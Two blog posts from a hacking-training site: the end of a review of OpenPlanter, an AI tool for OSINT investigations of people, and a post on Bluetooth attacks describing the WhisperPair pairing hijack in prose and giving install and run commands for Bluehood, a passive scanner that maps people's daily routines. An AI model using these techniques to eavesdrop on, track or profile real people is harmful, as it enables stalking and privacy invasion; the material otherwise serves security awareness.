We didn’t stop here and tried it again. The results were still irrelevant. Instead of making a report on Mikhail Karisalov (CEO of Sibur) it spoke about something else.
Using OpenPlanter with Ollama – Remote Servers
If you decide to rent a server with good hardware to test other models, don’t waste your time on it. We tried various models, but none of them worked well. OpenPlanter calls a model, the model replies and then it fails. The output can be seen on the screen.
Here is an example with Qwen3.6:27b. Qwen3.6:35b had the same issue.

We also tried Ornith:35B.

These models support thinking and tooling, but they can’t really do much in this case.
Terminal Interface
It’s also important to mention that there are two ways you can use OpenPlanter in the terminal. So far, you’ve seen only one. If you’re more comfortable with a chat interface, you can use the second option.
kali > openplanter-agent --provider openrouter --model openrouter/free

Here you run your prompts and tweak the tool using the available commands.
Summary
After testing the tool in various ways, we came to the conclusion that it works reliably only with OpenRouter. That’s what gave us the best results. The developers also push towards frontier models or OpenRouter. The whole process of investigation relies heavily on the Exa API. Using it with Ollama models hosted externally (VPS) will not work, as it fails silently even if you select a supported AI model.
The tool might confuse people, especially if their names are common and their social media profiles are empty. Everything it finds deserves validation. Occasionally, it may check the results, marking them HIGH, MEDIUM or LOW depending on its confidence. It doesn’t always do it, but this can be fixed if the prompt explicitly asks for it. Most importantly, OpenPlanter can still save you time.
Learn more with our AI for Cybersecurity training. During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve tasks with it.
The post Artificial Intelligence in Cybersecurity, Part 26: OpenPlanter for OSINT Investigations first appeared on Hackers Arise.
Bluetooth Hacking and Security: The WhisperPair Exploit and Bluehood Surveillance
Welcome back, aspiring cyberwarriors!
Bluetooth is often seen as something short range and therefore harmless. Many people think that because it only works over a limited distance, it must also be secure by design. But that’s not true. Bluetooth is convenient, but convenience often comes at the cost of security and privacy. A big number of vulnerabilities show that Bluetooth devices can expose much more information than many realize. At a technical level, they constantly announce their presence to the surrounding environment. Even when you are not actively using them, they still send small pieces of data. Over time these pieces form patterns that show detailed information about people’s lives.
Hackers can take control of devices, pair with them without permission and even use them as remote listening tools. In other cases, simply listening is enough.
WhisperPair Vulnerability
In January 2026, researchers from KU Leuven disclosed a critical Bluetooth vulnerability known as WhisperPair (CVE-2025-36911). This vulnerability affects hundreds of millions of Bluetooth audio devices, including headphones and headsets that rely on modern pairing mechanisms. The attack takes advantage of a feature called Fast Pair in Android. Fast Pair was designed to simplify the user experience. With a single tap users can connect their Bluetooth accessories and synchronize them with their account. It’s convenient and widely adopted.
However, some devices don’t properly ignore pairing requests when they aren’t in pairing mode. A hacker can exploit this by sending crafted pairing initiation packets to a vulnerable device. Even if the device isn’t actively trying to connect, it may still respond. Once the hacker receives that response, they can establish a normal Bluetooth connection.

From that point on, the hacker gains control over the accessory.

Then they can activate the microphone to record conversations. The attack works from up to 14 meters away, which is plenty for offices, cafes or public transport.

This can be combined with device tracking. Some Bluetooth accessories integrate with Google’s Find Hub network, which allows lost devices to be located using nearby Android devices. If a vulnerable accessory has never been paired with an Android device before, a hacker can register it under their own Google account. In doing so, they become the “owner” of the device in the tracking system.

The victim may eventually receive a notification about unwanted tracking, but the alert can appear misleading. If the user’s own device is responsible for tracking, that will cause confusion and reduce the likelihood that the threat is taken seriously. Meanwhile, the hacker continues to track the device over time. It affects multiple vendors, chipsets and product lines. As a result, exploitation is likely to continue well beyond 2026.
Bluehood Scanner
Sometimes, attacks are completely passive. In February 2026, a developer released a Bluetooth scanner called Bluehood. It looks like a monitoring tool and shows how much information can be extracted from the environment without ever connecting to a device.

Bluetooth is almost always enabled. Phones, laptops, smartwatches, headphones, cars and even medical devices continuously broadcast signals. Bluehood listens to that data and builds patterns over time. By passively listening to this traffic over days or weeks, hackers can reconstruct behavior.
For example, you can find out when delivery vehicles arrive and whether the same driver appears regularly. You can see daily routines by tracking when certain devices appear and disappear. You can also correlate devices that are always seen together, such as a phone and a smartwatch, which likely belong to the same person. You can even determine approximate schedules when someone leaves for work or returns home.
You don’t need to buy hardware for that. In many cases, a laptop will do the job. If you want, you can get a Raspberry Pi with a Bluetooth adapter.

Some devices are designed to always keep Bluetooth active. Hearing aids, for instance, rely on Bluetooth Low Energy for configuration and diagnostics. Pacemakers may also broadcast BLE signals for similar reasons. These aren’t devices that users can simply turn off.
Many cars use Bluetooth for diagnostics, driver assistance and connectivity features. Consumer devices add even more noise to the environment. Smartwatches, pet trackers and fitness equipment all give off signals. Together, they create a dense network of signals that can be analyzed.

Bluehood works only in passive mode. It doesn’t try to connect to devices. It identifies them based on manufacturer data and BLE service UUIDs, then tracks when they appear and disappear. The tool also includes a web dashboard. It generates hourly and daily heatmaps, tracks dwell time and has filters. New devices often use randomized MAC addresses for privacy and Bluehood can detect and filter these.
Installation
You can install the tool quickly using Docker.
kali > git clone https://github.com/dannymcc/bluehood.git
kali > cd bluehood
kali > docker compose up -d

Alternatively, you can install it using package managers and Python tools.
kali > sudo apt install bluez python3-pip
kali > pip install -e .
kali > sudo bluehood
After the installation you can start the scanner.
# Start with web dashboard (default port 8080)
kali > bluehood
# Specify a different port
kali > bluehood --port 9000
# Use a specific Bluetooth adapter
kali > bluehood --adapter hci1
# List available adapters
kali > bluehood --list-adapters
# Disable web dashboard (scanning only)
kali > bluehood --no-web
Keep in mind that if you installed the app with Docker Compose, it should be accessible at http://localhost:8080.

Collected data is stored in SQLite, and the tool can optionally send notifications through ntfy.sh when devices arrive or leave a location.
Summary
Bluetooth security is often underestimated because the technology feels invisible and low risk. That’s not the case though. There are active and passive techniques that can be used for tracking. Big cities often have listeners scattered around public places and stations, working like Bluehood. Active techniques like WhisperPair can lead to full device compromise with tracking and audio surveillance.
If you enjoy experimenting with frequencies and trying new things, we have our SDR for Hackers training. With Master OTW, you’ll learn how to use your computer and inexpensive SDR hardware to explore and hack a wide range of radio signals.
The post Bluetooth Hacking and Security: The WhisperPair Exploit and Bluehood Surveillance first appeared on Hackers Arise.



















































